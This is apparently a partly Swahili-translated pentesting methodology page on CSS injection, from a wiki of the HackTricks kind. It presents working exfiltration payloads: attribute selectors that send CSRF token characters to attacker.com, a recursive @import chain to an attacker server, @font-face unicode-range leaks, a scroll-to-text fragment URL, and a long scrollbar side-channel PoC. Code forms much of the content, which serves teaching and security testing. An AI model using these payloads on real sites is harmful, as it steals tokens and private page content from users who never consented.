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Translator 16744cdc11 Translated ['pentesting-web/browser-extension-pentesting-methodology/REA		2024-07-19 16:10:31 +00:00
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css-injection-code.md	Translated ['pentesting-web/browser-extension-pentesting-methodology/REA	2024-07-19 16:10:31 +00:00
README.md	Translated ['generic-methodologies-and-resources/basic-forensic-methodol	2024-07-19 10:17:18 +00:00

README.md

CSS Injection

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{% endhint %}

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CSS Injection

Attribute Selector

CSS selectors zimeandaliwa ili kuendana na thamani za input kipengele cha name na value attributes. Ikiwa kipengele cha input kina thamani ya attribute inayoanza na herufi maalum, rasilimali ya nje iliyowekwa awali inaloadiwa:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Hata hivyo, mbinu hii inakabiliwa na kikomo wakati wa kushughulikia vipengele vya input vilivyojificha (type="hidden") kwa sababu vipengele vilivyojificha havipakui mandharinyuma.

Kupita kwa Vipengele Vilivyojificha

Ili kuzunguka kikomo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia mchanganyiko wa ndugu wa jumla ~. Sheria ya CSS kisha inatumika kwa ndugu wote wanaofuatia kipengele cha input kilichojificha, na kusababisha picha ya mandharinyuma kupakuliwa:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.

Prerequisites for CSS Injection

For the CSS Injection technique to be effective, certain conditions must be met:

Payload Length: Upeo wa CSS injection lazima uunge mkono urefu wa kutosha wa payloads ili kuweza kubeba selectors zilizoundwa.
CSS Re-evaluation: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambayo ni muhimu ili kuanzisha upya wa CSS na payloads mpya zilizozalishwa.
External Resources: Mbinu hii inadhani uwezo wa kutumia picha zinazohifadhiwa nje. Hii inaweza kuwa na vizuizi na Sera ya Usalama wa Maudhui (CSP) ya tovuti.

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kuchanganya hii na mbinu ifuatayo ya @import, inawezekana kutoa taarifa nyingi kwa kutumia CSS injection kutoka kwa kurasa za kipofu na blind-css-exfiltration.

@import

Mbinu ya awali ina mapungufu, angalia mahitaji. Unahitaji kuwa na uwezo wa kutuma viungo vingi kwa mwathirika, au unahitaji kuwa na uwezo wa iframe kurasa iliyo hatarini kwa CSS injection.

Hata hivyo, kuna mbinu nyingine ya busara inayotumia CSS @import kuboresha ubora wa mbinu hiyo.

Hii ilionyeshwa kwanza na Pepe Vila na inafanya kazi kama ifuatavyo:

Badala ya kupakia ukurasa huo huo mara kwa mara na payload tofauti kumi kila wakati (kama ilivyo katika ile ya awali), tutapakia ukurasa mara moja tu na kwa kuagiza tu kwenye seva ya washambuliaji (hii ndiyo payload ya kutuma kwa mwathirika):

@import url('//attacker.com:5001/start?');

Uagizaji utaenda kupokea baadhi ya script za CSS kutoka kwa washambuliaji na kivinjari kitaipakia.
Sehemu ya kwanza ya script ya CSS ambayo mshambuliaji atatuma ni @import nyingine kwa seva ya washambuliaji tena.
Seva ya washambuliaji haitajibu ombi hili bado, kwani tunataka kuvuja baadhi ya herufi na kisha kujibu uagizaji huu na mzigo wa kuvuja wa zifuatazo.
Sehemu ya pili na kubwa zaidi ya mzigo itakuwa mzigo wa kuvuja wa mteule wa sifa
Hii itatuma kwa seva ya washambuliaji herufi ya kwanza ya siri na ya mwisho
Mara baada ya seva ya washambuliaji kupokea herufi ya kwanza na ya mwisho ya siri, it itajibu uagizaji ulioombwa katika hatua ya 2.
Jibu litakuwa sawa kabisa na hatua za 2, 3 na 4, lakini wakati huu itajaribu kupata herufi ya pili ya siri na kisha ya kabla ya mwisho.

Mshambuliaji atafuatilia mzunguko huo hadi apate kabisa siri.

Unaweza kupata kanuni ya asili ya Pepe Vila ya kutumia hii hapa au unaweza kupata karibu kanuni sawa lakini iliyoelezewa hapa.

{% hint style="info" %} Script itajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na kutoka mwisho) kwa sababu mteule wa sifa unaruhusu kufanya mambo kama:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Hii inaruhusu script kuvuja siri haraka zaidi.
{% endhint %}

{% hint style="warning" %} Wakati mwingine script haiwezi kugundua kwa usahihi kwamba prefix + suffix iliyogunduliwa tayari ni bendera kamili na itaendelea mbele (katika prefix) na nyuma (katika suffix) na wakati fulani itakwama.
Usijali, angalia tu matokeo kwa sababu unaweza kuona bendera hapo.
{% endhint %}

Wateule wengine

Njia nyingine za kufikia sehemu za DOM kwa kutumia CSS selectors:

.class-to-search:nth-child(2): Hii itatafuta kipengee cha pili chenye darasa "class-to-search" katika DOM.
:empty selector: Inatumika kwa mfano katika hii andiko:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search inayotegemea makosa

Marejeo: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Nia kuu ni kutumia font maalum kutoka kwa mwisho unaodhibitiwa na kuhakikisha kwamba maandishi (katika kesi hii, 'A') yanaonyeshwa kwa font hii tu ikiwa rasilimali iliyoainishwa (favicon.ico) haiwezi kupakuliwa.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

Matumizi ya Fonti Maalum:

Fonti maalum inafafanuliwa kwa kutumia sheria ya @font-face ndani ya tag <style> katika sehemu ya <head>.
Fonti hiyo inaitwa poc na inapatikana kutoka kwa kiungo cha nje (http://attacker.com/?leak).
Mali ya unicode-range imewekwa kuwa U+0041, ikilenga herufi maalum ya Unicode 'A'.

Element ya Kitu na Maandishi ya Kurejelea:

Element ya <object> yenye id="poc0" imeundwa katika sehemu ya <body>. Element hii inajaribu kupakia rasilimali kutoka http://192.168.0.1/favicon.ico.
Familia ya fonti kwa element hii imewekwa kuwa 'poc', kama ilivyoainishwa katika sehemu ya <style>.
Ikiwa rasilimali (favicon.ico) itashindwa kupakia, maudhui ya kurejelea (herufi 'A') ndani ya tag <object> yanaonyeshwa.
Maudhui ya kurejelea ('A') yataonyeshwa kwa kutumia fonti maalum poc ikiwa rasilimali ya nje haiwezi kupakiwa.

Mtindo wa Scroll-to-Text Fragment

Pseudo-class :target inatumika kuchagua element inayolengwa na URL fragment, kama ilivyoainishwa katika CSS Selectors Level 4 specification. Ni muhimu kuelewa kwamba ::target-text haitafautisha element yoyote isipokuwa maandiko yalenge waziwazi na fragment.

Kuna wasiwasi wa usalama unapojitokeza wakati washambuliaji wanatumia kipengele cha Scroll-to-text fragment, wakiruhusu kuthibitisha uwepo wa maandiko maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia HTML injection. Njia hii inahusisha kuingiza sheria ya CSS kama hii:

:target::before { content : url(target.png) }

Katika hali kama hizi, ikiwa maandiko "Administrator" yapo kwenye ukurasa, rasilimali target.png inahitajiwa kutoka kwa seva, ikionyesha uwepo wa maandiko hayo. Mfano wa shambulio hili unaweza kutekelezwa kupitia URL iliyoundwa kwa njia maalum ambayo inaingiza CSS iliyowekwa pamoja na kipande cha Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hapa, shambulio linatumia HTML injection kuhamasisha CSS code, likilenga maandiko maalum "Administrator" kupitia Scroll-to-text fragment (#:~:text=Administrator). Ikiwa maandiko yanapatikana, rasilimali iliyoonyeshwa inachukuliwa, bila kukusudia kuashiria uwepo wake kwa mshambuliaji.

Ili kupunguza hatari, mambo yafuatayo yanapaswa kuzingatiwa:

Ulinganifu wa STTF ulio na mipaka: Scroll-to-text Fragment (STTF) imeundwa kulinganisha maneno au sentensi pekee, hivyo kupunguza uwezo wake wa kuvuja siri au token zisizo za kawaida.
Kikomo kwa Muktadha wa Kivinjari wa Juu: STTF inafanya kazi tu katika muktadha wa kivinjari wa juu na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyakuzi kuwa rahisi kuonekana kwa mtumiaji.
Mahitaji ya Uanzishaji wa Mtumiaji: STTF inahitaji ishara ya uanzishaji wa mtumiaji ili kufanya kazi, ikimaanisha unyakuzi unaweza kufanyika tu kupitia navigations zilizoanzishwa na mtumiaji. Mahitaji haya yanapunguza sana hatari ya mashambulizi kufanywa kiotomatiki bila mwingiliano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blog anabainisha hali maalum na njia za kupita (k.m. uhandisi wa kijamii, mwingiliano na nyongeza maarufu za kivinjari) ambazo zinaweza kurahisisha kiotomatiki cha shambulio.

Uelewa wa mifumo hii na udhaifu wa uwezekano ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mbinu kama hizi za unyakuzi.

Kwa maelezo zaidi angalia ripoti asilia: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Unaweza kuangalia unyakuzi ukitumia mbinu hii kwa CTF hapa.

@font-face / unicode-range

Unaweza kubainisha fonti za nje kwa thamani maalum za unicode ambazo zitakusanywa tu ikiwa thamani hizo za unicode zipo kwenye ukurasa. Kwa mfano:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Teknolojia iliyoelezewa inahusisha kutoa maandiko kutoka kwa node kwa kutumia ligatures za fonti na kufuatilia mabadiliko katika upana. Mchakato huu unajumuisha hatua kadhaa:

Uundaji wa Fonti za Kijadi:

Fonti za SVG zinatengenezwa zikiwa na glyphs zenye sifa ya horiz-adv-x, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
Mfano wa glyph ya SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, ambapo "XY" inamaanisha mfuatano wa herufi mbili.
Fonti hizi kisha zinabadilishwa kuwa muundo wa woff kwa kutumia fontforge.

Ugunduzi wa Mabadiliko ya Upana:

CSS inatumika kuhakikisha kuwa maandiko hayajikunja (white-space: nowrap) na kubadilisha mtindo wa scrollbar.
Kuonekana kwa scrollbar ya usawa, iliyopangwa tofauti, inafanya kazi kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfuatano maalum wa herufi, upo katika maandiko.
CSS inayohusika:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }

Mchakato wa Kutumia:

Hatua ya 1: Fonti zinaundwa kwa ajili ya jozi za herufi zenye upana mkubwa.
Hatua ya 2: Hila inayotegemea scrollbar inatumika kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya herufi) inapotolewa, ikionyesha uwepo wa mfuatano wa herufi.
Hatua ya 3: Baada ya kugundua ligature, glyph mpya zinazowakilisha mfuatano wa herufi tatu zinaundwa, zikijumuisha jozi iliyogunduliwa na kuongeza herufi ya kabla au baada.
Hatua ya 4: Ugunduzi wa ligature ya herufi tatu unafanywa.
Hatua ya 5: Mchakato unarudiwa, ukifunua maandiko yote hatua kwa hatua.

Uboreshaji:

Njia ya sasa ya kuanzisha inayotumia <meta refresh=... si bora.
Njia bora zaidi inaweza kujumuisha hila ya CSS @import, ikiboresha utendaji wa matumizi.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Hila hii ilitolewa katika Slackers thread. Charset inayotumika katika node ya maandiko inaweza kuvuja kwa kutumia fonti za kawaida zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kawaida- zinazohitajika.

Wazo hili linahusisha kutumia uhuishaji kupanua upana wa div hatua kwa hatua, kuruhusu herufi moja kwa wakati mmoja kuhamia kutoka sehemu ya 'suffix' ya maandiko hadi sehemu ya 'prefix'. Mchakato huu unagawanya maandiko katika sehemu mbili:

Prefix: Mstari wa awali.
Suffix: Mstari wa baadaye.

Hatua za mpito za herufi zitaonekana kama ifuatavyo:

C
ADB

CA
DB

CAD
B

CADB

Wakati wa mpito huu, unicode-range trick inatumika kubaini kila herufi mpya inapojiunga na prefix. Hii inafanywa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni ndefu zaidi kuliko fonti ya kawaida, hivyo kusababisha kuonekana kwa scrollbar ya wima. Kuonekana kwa scrollbar hii kunaonyesha kwa njia isiyo ya moja kwa moja uwepo wa herufi mpya katika prefix.

Ingawa njia hii inaruhusu kugundua herufi za kipekee zinapojitokeza, haijabainisha ni herufi ipi inarudiwa, bali tu kwamba kurudiwa kumetokea.

{% hint style="info" %} Kimsingi, unicode-range inatumika kugundua char, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kupata njia nyingine.
Wakati char inapatikana, inapewa fonti ya Comic Sans iliyowekwa awali, ambayo inafanya char kuwa kubwa na inasababisha scroll bar ambayo itavuja char iliyo patikana. {% endhint %}

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: Hii inatajwa kama suluhisho lisilo fanikiwa katika andiko hili

Kesi hii ni sawa sana na ile ya awali, hata hivyo, katika kesi hii lengo la kufanya chars fulani kuwa kubwa kuliko zingine ni kuficha kitu kama kitufe kisichopaswa kubonyezwa na bot au picha ambayo haitapakiwa. Hivyo tunaweza kupima kitendo (au ukosefu wa kitendo) na kujua kama char fulani ipo ndani ya maandiko.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: Hii inatajwa kama suluhisho lisilo fanikiwa katika andiko hili

Katika kesi hii, tunaweza kujaribu kufichua kama char ipo katika maandiko kwa kupakia fonti bandia kutoka chanzo kilekile:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Ikiwa kuna mechi, font itapakiwa kutoka /static/bootstrap.min.css?q=1. Ingawa haitapakia kwa mafanikio, ** kivinjari kinapaswa kukiweka**, na hata kama hakuna cache, kuna mekanism ya 304 isiyo badilishwa, hivyo jibu linapaswa kuwa haraka kuliko mambo mengine.

Hata hivyo, ikiwa tofauti ya muda ya jibu lililohifadhiwa kutoka kwa lile lisilohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya kupima, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba bot inatumia bendera disk-cache-size=1, ambayo ni ya kufikiria sana.

Uhamasishaji wa nodi ya maandiko (III): kuvuja charset kwa kupima kupakia mamia ya "fonts" za ndani (zinazohitaji mali za nje)

Marejeo: Hii inatajwa kama suluhisho lisilo fanikiwa katika andiko hili

Katika kesi hii unaweza kuonyesha CSS kupakia mamia ya fonts za uongo kutoka chanzo kimoja wakati mechi inatokea. Kwa njia hii unaweza kupima muda inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Na msimbo wa bot unaonekana kama hii:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Hivyo, ikiwa fonti haifananishi, muda wa majibu unapofika kwenye bot unatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna ulinganifu wa fonti, maombi mengi yatatumwa ili kupata fonti, na kusababisha mtandao kuwa na shughuli zisizo na kikomo. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusitisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria kubaini ikiwa kuna ulinganifu wa fonti.

References

Try Hard Security Group

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{% endhint %}

README.md Unescape Escape

CSS Injection

CSS Injection

Attribute Selector

Kupita kwa Vipengele Vilivyojificha

Prerequisites for CSS Injection

Blind Attribute Selector

@import

Wateule wengine

XS-Search inayotegemea makosa

Mtindo wa Scroll-to-Text Fragment

@font-face / unicode-range

Text node exfiltration (I): ligatures

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Uhamasishaji wa nodi ya maandiko (III): kuvuja charset kwa kupima kupakia mamia ya "fonts" za ndani (zinazohitaji mali za nje)

References

README.md